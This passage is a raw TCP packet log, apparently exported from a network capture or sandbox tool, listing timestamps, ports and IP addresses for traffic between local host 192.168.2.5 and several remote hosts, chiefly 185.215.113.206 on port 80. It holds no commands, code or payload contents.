Oct 27, 2024 17:54:42.665168047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665175915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665188074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665189028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665200949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665201902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665215015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665225029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665230036 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665236950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665251017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665256977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665262938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665273905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665276051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665287018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665292978 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665298939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665311098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665317059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665324926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665335894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665344000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665349960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665359020 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665361881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665374994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665385008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665393114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665395975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665407896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665417910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665421009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665433884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665445089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665455103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665456057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665468931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665479898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.665493011 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.665533066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677006006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677068949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677130938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677144051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677158117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677169085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677170038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677181959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677207947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677236080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677237988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677248001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677259922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677288055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677290916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677304029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.677324057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.677360058 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.753495932 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.753551006 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.753612041 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.753626108 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.753649950 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.753669024 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.754343987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754357100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754367113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754403114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754415035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754427910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754440069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754441023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754453897 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754472017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754482985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754487991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754511118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754534960 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754719973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754734039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754761934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754765034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754774094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754785061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754793882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754798889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754806042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754817009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754823923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754827976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754853964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754862070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754878044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754903078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754905939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754920006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754942894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754949093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754959106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.754961967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754975080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.754987001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755008936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755036116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755115986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755156994 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755196095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755207062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755218029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755223989 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.755229950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755240917 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.755242109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755250931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755264044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755295038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755363941 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.755368948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755381107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755392075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755405903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755408049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755412102 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.755422115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755428076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755435944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755466938 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.755475044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755518913 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.755559921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755629063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755640984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755651951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755667925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755820990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755832911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755848885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755861044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755865097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755881071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755892038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.755903006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.755934000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756011009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756031036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756041050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756052971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756053925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756067991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756081104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756082058 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756110907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756123066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756130934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756146908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756156921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756182909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756207943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756366014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756391048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756403923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756407976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756422043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756429911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756433964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756445885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756465912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756474972 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756505966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756520033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756546974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756552935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756558895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756589890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756614923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756721973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756735086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756745100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756756067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756763935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756768942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756783009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.756791115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.756824017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.797138929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797148943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797161102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797188044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797199965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797210932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797214985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.797224045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797265053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.797333002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797344923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797358036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797382116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.797394991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.797435045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797446012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797456980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.797507048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.840677023 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:42.840713978 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:42.840800047 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:42.841052055 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:42.841068983 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:42.849101067 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.849126101 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.849342108 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.849716902 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:42.849730015 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:42.855978966 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.856466055 CET	49951	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.856492996 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.856985092 CET	49951	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.856990099 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.858778954 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.859159946 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.859189987 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.859559059 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.859565973 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.870001078 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.871763945 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.871788979 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.872172117 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.872178078 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.873589993 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.873616934 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.873684883 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.874073982 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.874082088 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.874469995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874504089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874516010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874526024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874547005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874552965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874566078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874571085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874579906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874599934 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874619007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874629021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874629021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874675035 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874701977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874711990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874737978 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874763966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874768019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874778986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874794960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874808073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874809027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874820948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874831915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874835014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874866962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874886036 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874891043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874901056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874911070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874929905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874957085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.874965906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874978065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.874988079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875010967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875034094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875051975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875118971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875130892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875154018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875180006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875195026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875205994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875217915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875238895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875257969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875271082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875355005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875355005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875395060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875411034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875423908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875435114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875436068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875448942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875461102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875499010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875571012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875581026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875591993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875607967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875618935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875619888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875634909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875644922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875648022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875660896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875684977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875710011 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875768900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875787973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875808001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875818968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875845909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875869989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875886917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875920057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875936985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875957012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.875960112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.875982046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876007080 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876126051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876137972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876148939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876159906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876178026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876204014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876226902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876240969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876251936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876265049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876288891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876298904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876302004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876327991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876358032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876373053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876435041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876455069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876466990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876477957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876490116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876502037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876528978 CET	49853	80	192.168.2.5	185.215.113.206
